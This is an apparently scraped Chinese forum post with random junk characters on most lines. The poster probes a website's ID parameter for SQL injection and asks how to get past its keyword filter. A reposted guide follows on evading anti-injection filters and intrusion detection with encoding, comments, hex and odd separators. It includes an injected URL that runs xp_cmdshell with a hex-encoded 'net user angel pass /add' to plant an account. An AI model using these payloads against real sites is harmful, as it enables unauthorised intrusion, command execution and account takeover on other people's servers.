路过这个网站,检测了一下.3 X1 x/ _1 }3 e
http://www.xxx.cn/Article.asp?ID=117 and 1=10 d( M% ?3 @* i2 k4 x: C. h
直接返回主页5 p* m; n1 R0 Y
http://www.xxx.cn/Article.asp?ID=117 or 1=1' }- ~+ \4 U1 s7 ?- _
直接返回主页 z4 R5 e2 C- Q* ]! R, t( D
http://www.xxx.cn/Article.asp?ID=117 or
a* ^0 T- ^4 ~& y* n没有返回主页 没有过滤or
6 F" s3 v! Z* Phttp://www.xxx.cn/Article.asp?ID=117 and; e7 t7 [% n4 [' u& P: _! B+ l
直接返回主页 看来过滤了and
/ }) \* t5 i. X% r5 v' fhttp://www.xxx.cn/Article.asp?ID=117 or 1, j& ]. U6 H4 [# `9 O* h3 F, O
没有返回主页 即没有过滤or 也没有过滤1
6 s0 K$ s& ~. X: h5 B+ h) Ihttp://www.xxx.cn/Article.asp?ID=117 or 1=1
0 E2 r' o# V) R直接返回主页 很明显过滤了等号 ' D3 n3 Y* C- K/ K2 c& R
or的特性是与and相反的.+ I% u; c! Z1 Y7 p7 o q
or 1=1 爆错 或与原页面不同( y- m' F) S8 D9 k
or 1=2 原页面相同
, F' g/ k+ Y6 r' l" g- h. L这样就是一个注入点
/ i( N" f; N v! u但他过滤了=号 我就用><号代替=号吧!: T* R8 T2 b& @% m, l1 r# a, Z
or 1<2 很明显是正确的,所以应该与原页面不同
! i# L( z+ Y0 ]1 H: L, ~. ror 1>2 很明显是错误的,所以应该与原页面相同
' `: r8 m/ E5 F; R# ^5 `- B+ ~8 R然后看看有没有过滤其他的查询语句,比如select.- ]/ T8 s. B' k5 z4 L# V) Z" K
http://www.xxx.cn/Article.asp?ID=117 select
3 z5 d: m7 ]7 d: I) f+ t* d直接返回主页4 O& H5 e* M$ f# D* Q2 S
又迷茫了... x2 {( L; j6 D* k! N5 [5 C- }
% v" |# Y7 }5 x& o8 Q6 [
) r N7 b! [! p" F* G8 _1 hcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗" ~- y" [7 S. a/ m
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
& {' I7 h2 I4 u: i6 E9 ^; F+ A================================================
, \( q2 y. u: o x以下是转贴:
! ^1 G% H2 z: x4 ]: i. p2 I: S+ k9 r( H. S+ y% X
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
" a7 X0 D: \# ]经过我的收集,大部分的防注入程序都过滤了以下关键字: 5 }. A4 P" G$ l
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
2 K! C$ C/ U A: E7 }" E: v而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
) i5 C- e U& g对于关键字的过滤,以下是我收集的以及我个人的一些想法。 1 L& S/ ~* H- G+ u) \
1、运用编码技术绕过 % H/ C- f* _, x" K, }# y
如URLEncode编码,ASCII编码绕过。例如or 1=1即
' F& n7 ^" c/ {, L, N%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 % ]3 @* i+ x- N1 e! K8 A; s2 F
/ }- H9 i5 ?4 ^! {6 |! ~4 ?) \ p2、通过空格绕过 7 }5 `- f+ d9 B5 W) Z" }1 d: D8 d
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 6 K8 {3 t6 P0 N3 Q7 s
or’ swords’ =‘swords’
$ L7 d. {- A B6 y$ Q,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
( F8 z% |% i( c1 f" @( ?3、运用字符串判断代替 2 X: T% Z# a) j( v1 P) ~
用经典的or 1=1判断绕过,如
& A5 U9 l* t$ t8 nor ’swords’ =’swords’
' |. l" l+ P0 Q1 k6 S- o- j6 k,这个方法就是网上在讨论的。 # x7 P) A. P" C9 B1 `
4、通过类型转换修饰符N绕过
# m6 q1 `6 x# B9 q+ W7 U可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
* s. r0 n$ ^1 J/ A, l5、通过+号拆解字符串绕过 ' o/ w) q! b; b9 Y1 e
效果值得考证,但毕竟是一种方法。如 4 j' ?/ M6 z" a' R* y$ Z
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) ( n6 p; o2 n8 Y4 y5 C0 h: H
+ ^3 _2 ^/ i$ V$ _' I/ Y
6、通过LIKE绕过
0 f+ J0 U" t5 U0 m& _" u3 V以前怎么就没想到呢?如or ( e8 s% M# T) ]6 v. |+ l
’swords’ LIKE ’sw’ ' V7 ?+ K7 i- e8 Z; O
!!!显然可以很轻松的绕过
/ S" B2 i+ c0 E4 D2 K1 F) c+ i( S“=”“>” . g8 C, ?2 H5 J& X8 i
的限制……
0 Q7 e2 u* H1 r7 p7、通过IN绕过 7 M6 E% E/ t- h5 u' [4 \
与上面的LIKE的思路差不多,如 ) Q! w5 d$ `/ \9 [ n3 b' J( g
or ’swords’ IN (’swords’) " F# w e/ G, w. n! @9 |
! h5 H. I, ^# }" x* j
8、通过BETWEEN绕过 b. f; t( w& X- v6 m8 l' G0 b
如
+ q; U% f: j; Z) l* Jor ’swords’ BETWEEN ’rw’ AND ’tw’ , G, Q$ v& E) v# a! O
' @0 p; V' _4 x: Z" O. K9、通过>或者<绕过
' \% a; P: o6 W( l: bor ’swords’ > ’sw’ 5 w6 l: r" O3 K2 e1 @
or ’swords’ < ’tw’ ; p. t, m; h/ n n3 u
or 1<3 t2 ^! _7 Y% G7 X, |9 [* l
…… / ~3 D: {+ F) y# W# r
10、运用注释语句绕过 }# @5 Y# R# N+ h% L8 |
用/**/代替空格,如:
5 V& ]& \- ?' B+ q1 T! ~% dUNION /**/ Select /**/user,pwd,from tbluser , C& \7 _/ ]& F$ W0 e v, i, {4 B3 b
" z+ S _5 A( R r8 U% F1 L6 d, w用/**/分割敏感词,如:
i/ j' y# t- pU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
- \; v4 E% ^2 \- t8 |
" X- |9 X# w+ N4 Q) l9 J+ F11、用HEX绕过,一般的IDS都无法检测出来
: \: ]5 T. L" i7 d$ E0x730079007300610064006D0069006E00 =hex(sysadmin) % d. @4 I' C. L5 d8 V2 }! {& ^
0x640062005F006F0077006E0065007200 =hex(db_owner) 7 v1 X- [- c! X# Q W; o
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
2 C8 p6 p9 p7 U: T& Y, r& \ declare @a sysname ' l9 h# ? @$ {# Q
select @a=
- ^2 R( p5 s7 k6 K- P) @ exec master.dbo.xp_cmdshell @a % F5 ~; N& \' ^2 ]$ D% A+ E5 x
效果
3 y. c6 m- j! u# P2 n/ I: [0 t chttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- 4 G2 M2 r% [+ R8 J
7 [* c9 w3 [4 E其中的
: G" `* `% Q& B9 C) K5 P0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 ) S; S& p+ N/ v. x: `) R
就是 - Q9 d0 \8 z3 ?; e8 |
“net user angel pass /add”5 z1 Y3 {' n* k: V' P
# k [5 @$ h: T6 L$ G- f一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
i7 X) Q6 l" ?# J: b引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。! Z) E. ?& P ]& m. Y# e1 a
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似, R' m+ W4 h0 u* |' ^
Copy code y1 |0 @0 M6 W4 c+ K w( R. ~
select * from table exec xp_cmdshell'xxxxxxxxxx'5 U0 [! b* z- ~3 M& Q$ C5 W
9 Z8 g1 t! R8 [/ r( q) O1 }
! s$ R: [. v+ X) H. {select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
) r' ~6 X: _$ C, i2 N4 T W5 Z& m) n. I- F- M
: S" E% {1 a6 {% n/ A8 F1 o% X. eselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
% y3 t2 a4 S0 j- g' D2 g8 n
& s& s: ?, ]* U$ @1 m# F1 o
9 g+ o3 o& A0 M& X. n3 T+ D; Yselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
. x* R2 ?5 q+ X1 {# O3 ]* d8 E! D( B; h- i; T
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?$ M5 |: F) `, c. ~9 y
* `, q3 z2 j) J+ V: x. p5 D
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
7 u; a9 K$ `! ` [2 B可能大家早就知道了,不管怎么说,发在这里吧!3 _3 F1 N9 i+ n0 ] M6 D3 `$ ?
: ^* r- R+ N4 L, @4 @5 ?8 X最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。6 \) r `2 S* c6 Y4 ~: O5 D8 }0 g3 [
- V6 k1 ]* L1 G& j8 A
. o& W9 O" c. N6 W, A5 ]
6 V) \, s) P9 ]2 x对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
9 J9 b2 c9 s9 o; J& j1 @8 O比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
, \2 z H. H( g' Z
3 D0 k/ Y/ o/ w- e8 h |